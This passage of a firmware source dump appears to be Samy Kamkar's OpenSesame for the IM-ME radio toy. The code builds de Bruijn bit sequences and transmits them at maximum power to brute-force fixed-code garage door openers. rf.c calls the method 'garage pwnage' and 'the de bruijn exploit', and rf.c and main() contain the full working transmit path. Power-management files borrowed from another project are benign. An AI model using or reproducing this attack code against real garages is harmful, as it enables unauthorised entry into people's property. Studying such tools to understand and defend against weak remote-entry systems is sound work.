Various test settings. 186 | TEST1 = 0x31; // Various test settings. 187 | TEST0 = 0x0B; // low VCO (we're in the lower 400 band) 188 | 189 | /* no preamble quality check, no address check */ 190 | PKTCTRL1 = 0x04; 191 | 192 | /* no whitening, no CRC, fixed packet length */ 193 | PKTCTRL0 = 0x00; 194 | 195 | /* device address */ 196 | ADDR = 0x11; 197 | 198 | /* packet length in bytes */ 199 | PKTLEN = MAXLEN; 200 | 201 | setup_dma_tx(); 202 | clear(); 203 | #endif 204 | } 205 | 206 | int main(void) 207 | { 208 | u8 key; 209 | 210 | setup(); 211 | 212 | while (1) 213 | { 214 | title; 215 | // "123456789 123456789 1" 216 | // TODO: make this stuff actually selectable 217 | printl(2, "Frequency"); 218 | printrlc(2, 21-5, "Auto"); 219 | printl(3, "Baud rate"); 220 | printrlc(3, 21-5, "Auto"); 221 | printl(4, "Bits"); 222 | printrlc(4, 21-5, "Auto"); 223 | 224 | // TODO: make this not a loop and use interrupts instead to catch keys 225 | // while (getkey() != ' '); 226 | while (1) 227 | { 228 | key = getkey(); 229 | 230 | // tx! 231 | if (key == ' ') break; 232 | else if (key == KPWR) 233 | { 234 | sleepy = 1; 235 | chkSleep(); 236 | } 237 | } 238 | 239 | // start de bruijn sending 240 | for (key = 0; key < sizeof(garages)/sizeof(garages[0]); key++) 241 | { 242 | _garage_id = key; 243 | db_send(); 244 | } 245 | 246 | LED_GREEN = HIGH; 247 | LED_RED = HIGH; 248 | 249 | clear(); 250 | // "123456789 123456789 1" 251 | printrl(6, "TRANSMISSION COMPLETE"); 252 | 253 | } // while 254 | } // main 255 | 256 | 257 | /* knock knock 258 | * - who's there 259 | * irq rf_vector 260 | * - irq rf--- 261 | * INTERRUPTING SERVICE ROUTINE RF VECTOR COMPLETE (done transmitting) 262 | */ 263 | void rf_isr_orig() __interrupt (RF_VECTOR) 264 | { 265 | // clear the interrupt flags 266 | RFIF &= ~RFIF_IRQ_DONE; 267 | S1CON &= ~0x03; // Clear the general RFIF interrupt registers 268 | 269 | txdone = 1; 270 | 271 | // go idle again 272 | RFST = RFST_SIDLE; 273 | LED_RED = HIGH; // turn red led off 274 | } 275 | 276 | // transmit that badboy 277 | void rftx() 278 | { 279 | // wait for previous transmission to finish (if any) 280 | waitForTx(); 281 | 282 | txdone = 0; 283 | LED_GREEN = HIGH; // turn green led off 284 | LED_RED = LOW; // turn red led on 285 | 286 | // ... 287 | } 288 | 289 | // show nyancat while transmitting 290 | void waitForTx() 291 | { 292 | while (!txdone) 293 | { 294 | if (!txFast) 295 | { 296 | // this slows down the tx quite a bit 297 | title; 298 | fb_blank(); 299 | fb_bitblt((__xdata u8*) nyan[ni++], 30, 20, 0); 300 | fb_flush(); 301 | //printl(0, " OpenSesame "); 302 | title; 303 | printl(1, " Transmitting "); 304 | if (ni >= NYANS) 305 | ni = 0; 306 | } 307 | } 308 | } 309 | 310 | // from Michael Ossmann's epic IM-ME spectrum analyzer: 311 | void chkSleep() 312 | { 313 | u8 i; 314 | /* go to sleep (more or less a shutdown) if power button pressed */ 315 | if (sleepy) 316 | { 317 | clear(); 318 | sleepMillis(1000); 319 | SSN = LOW; 320 | LCDPowerSave(); 321 | SSN = HIGH; 322 | 323 | while (1) 324 | { 325 | sleep(); 326 | 327 | /* power button depressed long enough to wake? */ 328 | sleepy = 0; 329 | for (i = 0; i < DEBOUNCE_COUNT; i++) 330 | { 331 | sleepMillis(DEBOUNCE_PERIOD); 332 | if (keyscan() != KPWR) sleepy = 1; 333 | } 334 | if (!sleepy) break; 335 | } 336 | 337 | /* reset on wake */ 338 | main(); 339 | //setup(); 340 | //goto reset; 341 | } 342 | 343 | } 344 | -------------------------------------------------------------------------------- /pm.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2010 Michael Ossmann 3 | * 4 | * This program is free software; you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation; either version 2, or (at your option) 7 | * any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program; see the file COPYING. If not, write to 16 | * the Free Software Foundation, Inc., 51 Franklin Street, 17 | * Boston, MA 02110-1301, USA. 18 | */ 19 | 20 | #include 21 | #include "ioCCxx10_bitdef.h" 22 | #include "types.h" 23 | #include "bits.h" 24 | 25 | /* prepare an interrupt for the power button so it will wake us up */ 26 | void setup_pm_interrupt() { 27 | /* clear the interrupt flags */ 28 | P1IFG &= ~BIT6; 29 | P1IF = 0; 30 | 31 | /* enable interrupt on power button */ 32 | P1IEN = BIT6; 33 | 34 | /* enable interrupts on the port */ 35 | IEN2 |= IEN2_P1IE; 36 | 37 | /* produce interrupts on falling edge */ 38 | PICTL |= PICTL_P1ICON; 39 | 40 | /* enable interrupts globally */ 41 | EA = 1; 42 | } 43 | 44 | /* power button interrupt service routine */ 45 | void port1_isr() __interrupt (P1INT_VECTOR) { 46 | /* clear the interrupt flags */ 47 | P1IFG &= ~BIT6; 48 | P1IF = 0; 49 | 50 | /* clear sleep mode bits */ 51 | SLEEP &= ~SLEEP_MODE; 52 | } 53 | 54 | /* 55 | * All this DMA and clock nonsense is based on the Errata Note (swrz022b) which 56 | * describes a workaround for "Part May Hang in Power Mode." Timing is 57 | * critical here. Do not edit this function without reading the Errata Note. 58 | */ 59 | 60 | void sleep() { 61 | volatile u8 desc_high = DMA0CFGH; 62 | volatile u8 desc_low = DMA0CFGL; 63 | //__xdata u8 dma_buf[7] = {0x07,0x07,0x07,0x07,0x07,0x07,0x04}; 64 | static __code u8 dma_buf[7] = {0x07,0x07,0x07,0x07,0x07,0x07,0x04}; 65 | static __xdata u8 dma_desc[8] = {0x00,0x00,0xDF,0xBE,0x00,0x07,0x20,0x42}; 66 | 67 | /* switch to HS RCOSC */ 68 | SLEEP &= ~SLEEP_OSC_PD; 69 | while (!(SLEEP & SLEEP_HFRC_S)); 70 | CLKCON = (CLKCON & ~CLKCON_CLKSPD) | CLKCON_OSC | CLKSPD_DIV_2; 71 | while (!(CLKCON & CLKCON_OSC)); 72 | SLEEP |= SLEEP_OSC_PD; 73 | 74 | setup_pm_interrupt(); 75 | 76 | /* store descriptors and abort any transfers */ 77 | desc_high = DMA0CFGH; 78 | desc_low = DMA0CFGL; 79 | DMAARM |= (DMAARM_ABORT | DMAARM0); 80 | 81 | /* DMA prep */ 82 | dma_desc[0] = (u16)&dma_buf >> 8; 83 | dma_desc[1] = (u16)&dma_buf; 84 | DMA0CFGH = (u16)&dma_desc >> 8; 85 | DMA0CFGL = (u16)&dma_desc; 86 | DMAARM = DMAARM0; 87 | 88 | /* 89 | * Any interrupts not intended to wake from sleep should be 90 | * disabled by this point. 91 | */ 92 | 93 | /* disable flash cache */ 94 | MEMCTR |= MEMCTR_CACHD; 95 | 96 | /* select sleep mode PM3 and power down XOSC */ 97 | SLEEP |= (SLEEP_MODE_PM3 | SLEEP_OSC_PD); 98 | 99 | __asm 100 | nop 101 | nop 102 | nop 103 | __endasm; 104 | 105 | if (SLEEP & SLEEP_MODE_PM3) { 106 | __asm 107 | mov 0xD7,#0x01 /* DMAREQ */ 108 | nop 109 | orl 0x87,#0x01 /* last instruction before sleep */ 110 | nop /* first instruction after wake */ 111 | __endasm; 112 | } 113 | 114 | /* enable flash cache */ 115 | MEMCTR &= ~MEMCTR_CACHD; 116 | 117 | /* restore DMA */ 118 | DMA0CFGH = desc_high; 119 | DMA0CFGL = desc_low; 120 | DMAARM = DMAARM0; 121 | 122 | /* make sure HS RCOSC is stable */ 123 | while (!(SLEEP & SLEEP_HFRC_S)); 124 | } 125 | -------------------------------------------------------------------------------- /pm.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2010 Michael Ossmann 3 | * 4 | * This program is free software; you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation; either version 2, or (at your option) 7 | * any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program; see the file COPYING. If not, write to 16 | * the Free Software Foundation, Inc., 51 Franklin Street, 17 | * Boston, MA 02110-1301, USA. 18 | */ 19 | 20 | void setup_pm_interrupt(); 21 | void port1_isr() __interrupt (P1INT_VECTOR); 22 | void sleep(); 23 | void chkSleep(); 24 | -------------------------------------------------------------------------------- /rf.c: -------------------------------------------------------------------------------- 1 | // functions for garage pwnage and de bruijn sequence generation 2 | // for the im-me and opensesame garage hacking platform 3 | // 4 | // -samy kamkar 5 | // http://samy.pl/opensesame 6 | 7 | #include "types.h" 8 | #ifndef LOCAL 9 | #include 10 | #endif 11 | #include "display.h" 12 | #include "garages.h" 13 | #include "rf.h" 14 | #include 15 | #include 16 | 17 | // we're making these global because 18 | // we have limited stack and we're 19 | // calling some functions recursively 20 | __xdata u8 a[MAXBITS+1]; // largest bit size possible 21 | u16 s, k; 22 | u8 tmpi; 23 | __bit firstTx; 24 | 25 | // we could read from garages[] directly but this is faster 26 | u8 codelen; 27 | u8 bits, len; 28 | __bit tri; 29 | u32 b0, b1; 30 | //#define bits g.bits 31 | //#define len g.len 32 | //#define tri g.tri 33 | //#define b0 g.b0 34 | //#define b1 g.b1 35 | 36 | #ifdef LOCAL 37 | void rftx() { } 38 | void waitForTx() { } 39 | void printl(u8 line, char *str) { } 40 | int main() { db_send(); } 41 | u8 sequence[MAXLEN]; 42 | #else 43 | __xdata u8 sequence[MAXLEN]; 44 | #endif 45 | 46 | // set or clear bit b in array A 47 | void setBit(u8 *A, u16 b, __bit val) 48 | { 49 | val ? 50 | (A[b / 8] |= 1 << (b % 8)) : 51 | (A[b / 8] &= ~(1 << (b % 8))); 52 | } 53 | 54 | // test bit b in array A 55 | __bit testBit(u8 *A, u16 b) 56 | { 57 | return ( ( A[b / 8] & (1 << (b % 8) ) ) != 0 ); 58 | } 59 | 60 | // binary de bruijn sequence -samyk 61 | void db(u8 t, u8 p) 62 | { 63 | u8 j; 64 | 65 | if (t > bits) 66 | { 67 | if (bits % p == 0) 68 | { 69 | for (j = 1; j <= p; j++) 70 | { 71 | setBit(sequence, s++, a[j]); 72 | 73 | // once we have 254 bytes (may reduce because running out of space!), we need to tx due to size constraints 74 | if ((s + 1) * len >= MAXLEN * 8) 75 | // transmit 76 | doTx(); 77 | } 78 | } 79 | } 80 | else 81 | { 82 | a[t] = a[t-p]; 83 | 84 | db(t+1, p); 85 | for (j = a[t-p] + 1; j <= (tri ? 2 : 1); j++) 86 | { 87 | a[t] = j; 88 | db(t+1, t); 89 | } 90 | } 91 | } 92 | 93 | // converts our bits to the actual bitstream/modulation the garage expects 94 | void convert_bits() 95 | { 96 | u8 tlen; 97 | u16 z; 98 | u32 tb; 99 | 100 | // pull in last X bits of last transmission 101 | if (!firstTx) 102 | { 103 | // let's keep last bits (10) * len (4) since we may have broken the true code up during this delay 104 | for (tmpi = 0; tmpi < codelen; tmpi++) 105 | { 106 | //printf("s=%d cl=%d len=%d realbuf[%d] = rb[%d]\n", s, codelen, len, tmpi, 107 | // (int)(ceilf((s*len)/8.0)) - codelen + tmpi); 108 | realbuf[tmpi] = realbuf[(int)(ceilf((s*len)/8.0)) - codelen + tmpi]; 109 | //realbuf[tmpi] = realbuf[((s*len)/8) - codelen + tmpi]; 110 | } 111 | } 112 | else 113 | firstTx = 0; 114 | 115 | // go through each bit and convert to the garage bitstream equivalent 116 | // eg 0 = 1000, 1 = 1110 117 | for (z = k / len; z < s; z++) 118 | { 119 | tb = testBit(sequence, z) ? b1 : b0; 120 | 121 | tlen = len; 122 | while (tlen--) 123 | { 124 | // there's gotta be a better way to do this but my brain hurts right now 125 | setBit(realbuf, (7-(k%8))+((k/8)*8), (tb >> tlen) & 1); 126 | k++; 127 | } 128 | } 129 | 130 | // start 10 bits in next time (assuming 10 bit code) 131 | k = bits * len; 132 | s = bits; 133 | } 134 | 135 | // start the de bruijn sequence using the recursive db() function 136 | void de_bruijn() 137 | { 138 | // clear a[], s 139 | for (tmpi = 0; tmpi <= MAXBITS; tmpi++) 140 | a[tmpi] = 0; 141 | s = 0; 142 | firstTx = 1; 143 | 144 | // begin recursive de bruijn 145 | db(1, 1); 146 | 147 | // a real de bruijn wraps, but since we can't wrap time we have to send the last of the bits to complete the sequence 148 | for (tmpi = 0; tmpi < bits-1; tmpi++) 149 | setBit(sequence, s++, 0); 150 | 151 | // transmit anything left over 152 | doTx(); 153 | } 154 | 155 | // set FREQ registers in cc111x from a float 156 | void setFreq() 157 | { 158 | #define fnum (u32)(g.hz * ((0x10000 / 1000000.0) / MHZ)) 159 | FREQ2 = fnum >> 16; 160 | FREQ1 = (fnum >> 8) & 0xFF; 161 | FREQ0 = fnum & 0xFF; 162 | } 163 | 164 | // set baudrate registers 165 | void setBaud() 166 | { 167 | u8 drate_e = 0; 168 | u8 drate_m = 0; 169 | float m = 0; 170 | 171 | for (tmpi = 0; tmpi < 16; tmpi++) 172 | { 173 | 174 | m = (g.baud * powf(2,28) / (powf(2, tmpi)* (MHZ*1000000.0))-256) + .5; 175 | if (m < 256) 176 | { 177 | drate_e = tmpi; 178 | drate_m = m; 179 | break; 180 | } 181 | } 182 | 183 | //drate = 1000000.0 * MHZ * (256+drate_m) * powf(2,drate_e) / powf(2,28); 184 | 185 | MDMCFG3 = drate_m; 186 | #ifndef MDMCFG4_DRATE_E 187 | #define MDMCFG4_DRATE_E 0x0F 188 | #endif 189 | MDMCFG4 &= ~MDMCFG4_DRATE_E; 190 | MDMCFG4 |= drate_e; 191 | } 192 | 193 | // prepare our transmission and keep the end for 194 | // the next transmission as the delay between packets 195 | // may prevent the de bruijn exploit from working 196 | void doTx() 197 | { 198 | // don't modify realbuf until we're done transmitting 199 | // previous data since we're using DMA to TX 200 | waitForTx(); 201 | 202 | // modify our realbuf to the real sequence of bits we need to send 203 | convert_bits(); 204 | 205 | // begin transmitting 206 | rftx(); 207 | } 208 | 209 | // create a de bruijn sequence according to what we want here 210 | void db_send() 211 | { 212 | // set power 213 | // maximum power 214 | PA_TABLE0 = 0x00; 215 | if (g.hz <= 400000000) 216 | PA_TABLE1 = 0xC2; 217 | else if (g.hz <= 464000000) 218 | PA_TABLE1 = 0xC0; 219 | else if (g.hz <= 900000000) 220 | PA_TABLE1 = 0xC2; 221 | else 222 | PA_TABLE1 = 0xC0; 223 | 224 | // set frequency 225 | setFreq(); 226 | CHANNR = 0x00; 227 | 228 | // maximum channel bandwidth 229 | setBaud(); 230 | 231 | bits = g.bits; 232 | len = g.len; 233 | tri = g.tri; 234 | b0 = g.b0; 235 | b1 = g.b1; 236 | codelen = ceilf(bits * (len / 8.0)); 237 | 238 | // create and send our de bruijn bitstream 239 | de_bruijn(); 240 | } 241 | -------------------------------------------------------------------------------- /rf.h: -------------------------------------------------------------------------------- 1 | #include "types.h" 2 | #include 3 | 4 | #ifdef CC1110 5 | #define MHZ 26 6 | #elif CC1111 7 | #define MHZ 48 8 | #else 9 | #error Please define CC1110 or CC1111 so clock can be determined. 10 | #endif 11 | 12 | #ifdef LOCAL 13 | int PA_TABLE1, PA_TABLE0, FREQ0, FREQ1, FREQ2, CHANNR, MDMCFG3, MDMCFG4; 14 | u8 realbuf[MAXLEN+1]; 15 | #else 16 | extern __xdata u8 realbuf[MAXLEN+1]; 17 | #endif 18 | 19 | void rftx(); 20 | void waitForTx(); 21 | void db_send(); 22 | void setBit(u8 *A, u16 b, __bit val); 23 | __bit testBit(u8 *A, u16 b); 24 | void db(u8 t, u8 p); 25 | void convert_bits(); 26 | void de_bruijn(); 27 | void setFreq(); 28 | void setBaud(); 29 | void doTx(); 30 | -------------------------------------------------------------------------------- /types.h: -------------------------------------------------------------------------------- 1 | /* locally via gcc */ 2 | #ifdef __GNUC__ // testing locally 3 | #define LOCAL 4 | #define __xdata static 5 | #define __idata static 6 | #define __far static 7 | #define __data static 8 | #define __near static 9 | #define __code static 10 | #define __bit char 11 | #include 12 | #define pp(...) printf(__VA_ARGS__) 13 | 14 | /* simulator or real CC111x */ 15 | #else 16 | 17 | #ifdef SIMULATOR 18 | #define pp(...) printf(__VA_ARGS__) 19 | #else 20 | #define pp(...) ((void)0) 21 | #endif 22 | 23 | #endif 24 | 25 | #define CC1110 26 | 27 | #define true 1 28 | #define false 0 29 | #define u8 unsigned char 30 | #define u16 unsigned int 31 | #define u32 unsigned long int 32 | #define s8 char 33 | #define s16 int 34 | #define s32 long int 35 | -------------------------------------------------------------------------------- /zsprites.c: -------------------------------------------------------------------------------- 1 | #include "types.h" 2 | #include "zsprites.h" 3 | 4 | __code u8 nyan[NYANS][363] = { 5 | { 6 | 1, 7 | #include "inc/nyan1.pnm.inc" 8 | }, { 9 | 1, 10 | #include "inc/nyan2.pnm.inc" 11 | }, { 12 | 1, 13 | #include "inc/nyan3.pnm.inc" 14 | }, { 15 | 1, 16 | #include "inc/nyan4.pnm.inc" 17 | } 18 | }; -------------------------------------------------------------------------------- /zsprites.h: -------------------------------------------------------------------------------- 1 | #include "types.h" 2 | 3 | #define NYANS 4 4 | extern __code u8 nyan[4][363]; --------------------------------------------------------------------------------